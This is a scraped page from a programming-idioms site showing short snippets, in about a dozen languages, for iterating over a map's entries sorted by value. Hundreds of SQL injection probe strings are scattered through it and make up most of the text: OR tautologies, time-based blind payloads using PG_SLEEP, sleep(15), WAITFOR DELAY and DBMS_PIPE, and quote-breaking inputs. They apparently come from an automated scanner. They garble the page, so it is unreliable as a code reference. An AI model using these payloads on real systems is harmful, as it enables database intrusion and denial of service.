Logo

Programming-Idioms

This language bar is your friend. Select your favorite languages!

Idiom #113 Iterate over map entries, ordered by values

Print each key k with its value x from an associative array mymap, in ascending order of x.
Multiple entries may exist for the same value x.

555
-1 OR 5*5=25 -- 
for x, k in sorted((x, k) for k,x in mymap.items()):
    print(k, x)
555
-1' OR 5*5=25 -- 
555
-1" OR 5*5=25 -- 
import operator
for key, value in sorted(d.items(), key=operator.itemgetter(1)):
    print(key, value)
555
-1' OR 5*5=26 or 'e3YfQS8C'='
from operator import itemgetter
for x in sorted(mymap.items(), key=itemgetter(1)):
    print(x)
for x in sorted(mymap, key=mymap.get):
    print(x, mymap[x])
555
-1' OR 3*2<5 or 'e3YfQS8C'='
555
-1' OR 516=516 or 'e3YfQS8C'='
555
-1" OR 5*5=25 or "PHR1jlnj"="
555
555*if(now()=sysdate(),sleep(15),0)
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1 waitfor delay '0:0:15' -- 
555
555
555
555-1 OR 55=(SELECT 55 FROM PG_SLEEP(15))--
555
555-1) OR 975=(SELECT 975 FROM PG_SLEEP(15))--
555
555-1)) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
-1" OR 3*2<5 or "b4QeSBAM"="
555
555
5551ULJjR37' OR 333=(SELECT 333 FROM PG_SLEEP(15))--
555
(select 198766*667891)
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
5559XTOW9AH')) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
555
555nKpOP1CM' OR 442=(SELECT 442 FROM PG_SLEEP(15))--
555
555-1)) OR 259=(SELECT 259 FROM PG_SLEEP(15))--
555
555-1) OR 73=(SELECT 73 FROM PG_SLEEP(15))--
555
555
-1 OR 5*5=25
555-1 waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
-1 OR 5*5=26
555
-1 OR 3*2>999
555
-1 OR 3*2>5
555
-1' OR 5*5=25 --
555
555*if(now()=sysdate(),sleep(15),0)
555
-1' OR 5*5=26 --
555
-1' OR 3*2>5 --
555
-1" OR 2*1=1 AND 927=927 or "b4QeSBAM"="
555
-1" OR 2-1=1 AND 927=927 or "b4QeSBAM"="
555
-1' OR 5*5=26 or 'U6tK5Yj8'='
555
-1' OR 3*2<5 or 'U6tK5Yj8'='
555
for_each(begin(mymap), end(mymap),
    [&s](const auto& kv) { s.insert(kv.second); });
using System.Collections.Generic;
using System.Linq;
Dictionary<String, String> mymap = new Dictionary<String, String>();
  
foreach(KeyValuePair<string, string> a in mymap.OrderBy(x => x.Value))
{
  Console.WriteLine("Key = {0}, Value = {1}", a.Key, a.Value);
}
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
-1 OR 5*5=25 -- 
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
(select 198766*667891)
555
@@66czl
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
@@USm2C
555
5552kIXEUSm') OR 110=(SELECT 110 FROM PG_SLEEP(15))--
555
(select 198766*667891)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
(select 198766*667891 from DUAL)
555
555c1xurxdf' OR 741=(SELECT 741 FROM PG_SLEEP(15))--
555NIzdho7o')) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
555
55552hsxOZP') OR 48=(SELECT 48 FROM PG_SLEEP(15))--
555
555
555-1)) OR 692=(SELECT 692 FROM PG_SLEEP(15))--
555EEnV91tK' OR 351=(SELECT 351 FROM PG_SLEEP(15))--
555
555
555-1 OR 229=(SELECT 229 FROM PG_SLEEP(15))--
555-1)) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
555
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1 OR 439=(SELECT 439 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' --
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "yjaCSQj5"="
555
-1" OR 5*5=25 or "yjaCSQj5"="
555
-1' OR 5*5=25 or 'purV2F9s'='
555
-1" OR 5*5=26 --
555
-1" OR 5*5=25 --
555
-1' OR 5*5=26 --
555
-1 OR 5*5=26
555
555
-1" OR 5*5=25 or "cSxnDqUY"="
-1 OR 5*5=25
555
555
-1' OR 5*5=25 or 'avmYpzQZ'='
-1 OR 5*5=26 --
555
555
-1' OR 5*5=25 -- 
555
-1 OR 3*2>5
555
-1 OR 3*2>999
555
-1 OR 5*5=26
555
-1 OR 5*5=25 -- 
(select 198766*667891 from DUAL)
555
555
555
mymap.entries.toList()
    ..sort((a, b) => a.value.compareTo(b.value))
    ..forEach(print);
mymap 
|> Map.to_list 
|> Enum.sort(fn ({_k1, val1}, {_k2, val2}) -> val1 <= val2 end)
|> Enum.each(fn ({k, v}) -> IO.puts("#{k}: #{v}") end)
555
555
555
555
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
5555TGt4B47')) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555
555w7lYg9d8') OR 324=(SELECT 324 FROM PG_SLEEP(15))--
555
555TcJBS1p2' OR 910=(SELECT 910 FROM PG_SLEEP(15))--
555
555-1)) OR 86=(SELECT 86 FROM PG_SLEEP(15))--
555
555-1) OR 538=(SELECT 538 FROM PG_SLEEP(15))--
555
555-1 OR 741=(SELECT 741 FROM PG_SLEEP(15))--
(select 198766*667891 from DUAL)
555
555
555
@@kCn1i
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
5557JN0Ot0m')) OR 48=(SELECT 48 FROM PG_SLEEP(15))--
555
555
555-1 waitfor delay '0:0:15' -- 
5558CjJe5JA') OR 436=(SELECT 436 FROM PG_SLEEP(15))--
555
555bu99uPxr' OR 686=(SELECT 686 FROM PG_SLEEP(15))--
555
-1 OR 5*5=25 -- 
555-1)) OR 174=(SELECT 174 FROM PG_SLEEP(15))--
555
555-1) OR 205=(SELECT 205 FROM PG_SLEEP(15))--
555
555-1 OR 14=(SELECT 14 FROM PG_SLEEP(15))--
555
-1 OR 5*5=25
555
-1' OR 5*5=25 --
555
-1" OR 5*5=25 --
555
-1' OR 5*5=25 or 'Y19GBdAj'='
555
-1" OR 5*5=25 or "FtP6bEto"="
555
555
-1 OR 5*5=25 -- 
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*if(now()=sysdate(),sleep(15),0)
555
555
-1 OR 5*5=25
555
-1' OR 5*5=25 -- 
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
-1" OR 5*5=26 -- 
555
-1" OR 3*2>999 -- 
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
-1" OR 3*2>5 -- 
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
-1' OR 5*5=26 or 'DxjK79G1'='
import "fmt"
import "sort"
type entry struct {
	key   string
	value int
}

entries := make([]entry, 0, len(mymap))
for k, x := range mymap {
	entries = append(entries, entry{key: k, value: x})
}
sort.Slice(entries, func(i, j int) bool {
	return entries[i].value < entries[j].value
})

for _, e := range entries {
	fmt.Println("Key =", e.key, ", Value =", e.value)
}
555
-1" OR 5*5=26 or "u51HUNP0"="
555
-1" OR 3*2<5 or "u51HUNP0"="
555
555*if(now()=sysdate(),sleep(15),0)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
(select 198766*667891 from DUAL)
555
555
555oucbqzdL') OR 220=(SELECT 220 FROM PG_SLEEP(15))--
import Data.Map as Map
import Data.List (sortBy)
import Data.Ord (comparing)
mapM_ print $ sortBy (comparing snd) $ Map.toList mymap
import Data.Map as Map
import Data.List (sortOn)
mapM_ print . sortOn snd $ Map.toList mymap
555
555TdQBtC24' OR 367=(SELECT 367 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@AUvIw
555
(select 198766*667891)
555
(select 198766*667891 from DUAL)
555
555-1) OR 578=(SELECT 578 FROM PG_SLEEP(15))--
555
555-1 OR 655=(SELECT 655 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' -- 
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select 198766*667891)
555
555'"
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5555q1A3lwU')) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
555
555sO6DDodL') OR 399=(SELECT 399 FROM PG_SLEEP(15))--
555
555et988oYe' OR 596=(SELECT 596 FROM PG_SLEEP(15))--
555
555-1)) OR 366=(SELECT 366 FROM PG_SLEEP(15))--
555
555-1) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
555
555-1 OR 617=(SELECT 617 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555*if(now()=sysdate(),sleep(15),0)
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
-1" OR 5*5=25 or "JKS0aYG8"="
555
-1' OR 5*5=25 or 'wTMm0AMb'='
555
-1" OR 5*5=25 -- 
555
-1' OR 3*2>5 -- 
555*if(now()=sysdate(),sleep(15),0)
555
555
-1' OR 3*2>999 -- 
-1" OR 3*2<5 or "sh03gZxd"="
555
-1" OR 5*5=26 or "sh03gZxd"="
555
-1' OR 5*5=25 or 'dbrgLv64'='
555
555
-1' OR 5*5=26 -- 
-1 OR 5*5=25
555
555
-1 OR 5*5=25
555
-1 OR 5*5=25 -- 
555
555
555
555
Object.entries(mymap)
  .sort((a, b) => a[1] - b[1])
  .forEach(([key, value]) => {
    console.log('key:', key, 'value:', value);
  });
import java.util.Comparator;
import java.util.Map;
mymap.entrySet().stream()
    .sorted(Comparator.comparing(Map.Entry::getValue))
    .forEach(entry -> {
        K k = entry.getKey();
        X x = entry.getValue();
        System.out.println("k:" + k + ", x:" + x);
});

import static java.lang.System.out;
import static java.util.Map.Entry.comparingByValue;
mymap.entrySet()
    .stream()
    .sorted(comparingByValue())
    .forEach(out::println);
import static java.util.Map.Entry.comparingByValue;
mymap.entrySet()
    .stream()
    .sorted(comparingByValue())
    .forEach(e -> {
        K k = e.getKey();
        X x = e.getValue();
    });
-1" OR 5*5=25 or "VctrUAK1"="
555
555
-1 OR 5*5=25 -- 
555
555-1) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
for my $k (sort {($mymap{$a}<=>$mymap{$b}) or ($a cmp $b)}
           keys %mymap) {
   print "$k: $mymap{$k}\n";
}
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555-1 OR 94=(SELECT 94 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555-1 waitfor delay '0:0:15' -- 
555
555-1)) OR 250=(SELECT 250 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555iQzfGdKk' OR 573=(SELECT 573 FROM PG_SLEEP(15))--
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1 waitfor delay '0:0:15' --
555
555
555*if(now()=sysdate(),sleep(15),0)
-1' OR 5*5=26 or 'OagPD2nV'='
555
555
-1" OR 5*5=25 or "5a49Lcik"="
555
-1' OR 5*5=25 or 'C7la5Apb'='
555
-1" OR 5*5=25 -- 
555
555dLCSKNcU') OR 524=(SELECT 524 FROM PG_SLEEP(15))--
555
-1' OR 5*5=25 -- 
555
-1 OR 5*5=25
555
-1 OR 5*5=25 -- 
555-1) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
555
-1' OR 5*5=25 --
555
-1 OR 5*5=25
555
-1 OR 5*5=25 --
555
555hEmYLXee' OR 231=(SELECT 231 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555bWpX65Vw')) OR 238=(SELECT 238 FROM PG_SLEEP(15))--
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@NM0f3
555
(select 198766*667891)
555
555
(select 198766*667891 from DUAL)
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
(select 198766*667891)
555
555'"
555
-1' OR 5*5=25 or '6wTXpuLP'='
555
555
555
-1 OR 5*5=26 -- 
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 OR 5*5=25 --
555
-1 OR 3*2>5
555
-1' OR 5*5=25 --
555
-1" OR 5*5=25 --
555
-1" OR 5*5=25 or "UwAgXaCP"="
555
-1" OR 5*5=26 or "UwAgXaCP"="
555
-1" OR 236=236 or "UwAgXaCP"="
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555-1 waitfor delay '0:0:15' -- 
555-1 waitfor delay '0:0:15' --
555
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
(select 198766*667891 from DUAL)
555
555-1 OR 412=(SELECT 412 FROM PG_SLEEP(15))--
555
@@6PTzn
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555-1) OR 246=(SELECT 246 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555AVt0hiSP')) OR 915=(SELECT 915 FROM PG_SLEEP(15))--
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555EOzz2kGn')) OR 15=(SELECT 15 FROM PG_SLEEP(15))--
555
555-1 OR 984=(SELECT 984 FROM PG_SLEEP(15))--
555mDVfMCjr') OR 484=(SELECT 484 FROM PG_SLEEP(15))--
555
555
555QhJt6KoH') OR 408=(SELECT 408 FROM PG_SLEEP(15))--
555
-1" OR 5*5=25 or "AcK5n36L"="
555
555-1) OR 919=(SELECT 919 FROM PG_SLEEP(15))--
555
555wHHyL8LO' OR 40=(SELECT 40 FROM PG_SLEEP(15))--
555
-1 OR 5*5=25
555
-1' OR 5*5=25 -- 
555z3LE1Csu' OR 759=(SELECT 759 FROM PG_SLEEP(15))--
555
555
555-1)) OR 600=(SELECT 600 FROM PG_SLEEP(15))--
555
-1" OR 5*5=25 -- 
-1" OR 5*5=25 --
555
555
@@5zBzt
555
(select 198766*667891)
555
555-1) OR 471=(SELECT 471 FROM PG_SLEEP(15))--
555-1 OR 585=(SELECT 585 FROM PG_SLEEP(15))--
555
555
(select 198766*667891 from DUAL)
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555-1) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
555
555
555-1)) OR 381=(SELECT 381 FROM PG_SLEEP(15))--
555-1)) OR 179=(SELECT 179 FROM PG_SLEEP(15))--
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5554fM17weM' OR 360=(SELECT 360 FROM PG_SLEEP(15))--
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555xIMk90Kd') OR 871=(SELECT 871 FROM PG_SLEEP(15))--
555
555
555BON0ZVoO') OR 213=(SELECT 213 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
555
5558ecKKkOW')) OR 922=(SELECT 922 FROM PG_SLEEP(15))--
555
555'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@aBEIF
555
(select 198766*667891)
555
-1" OR 5*5=26 or "LvU2sulL"="
555
-1' OR 5*5=25 or 'fRR2c5vF'='
555
555
555-1 OR 552=(SELECT 552 FROM PG_SLEEP(15))--
555
-1 OR 5*5=25 -- 
555
-1 OR 5*5=25
-1' OR 5*5=25 --
555
-1 OR 5*5=25
555
-1 OR 5*5=25 --
555
555
-1" OR 5*5=25 or "bRYx49Kz"="
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
-1' OR 5*5=25 -- 
555
555*if(now()=sysdate(),sleep(15),0)
555
-1" OR 5*5=25 -- 
555
555
mymap.sort_by{|k,x| x}.each{|k,x| puts "#{k}: #{x}"}
555
-1' OR 5*5=25 or 'diSbsJtZ'='
use itertools::Itertools;
for (k, x) in mymap.iter().sorted_by_key(|x| x.1) {
	println!("[{},{}]", k, x);
}
let mut items: Vec<_> = mymap.iter().collect();
items.sort_by_key(|item| item.1);
for (k, x) in items {
    println!("[{},{}]", k, x);
}

New implementation...
< >
programming-idioms.org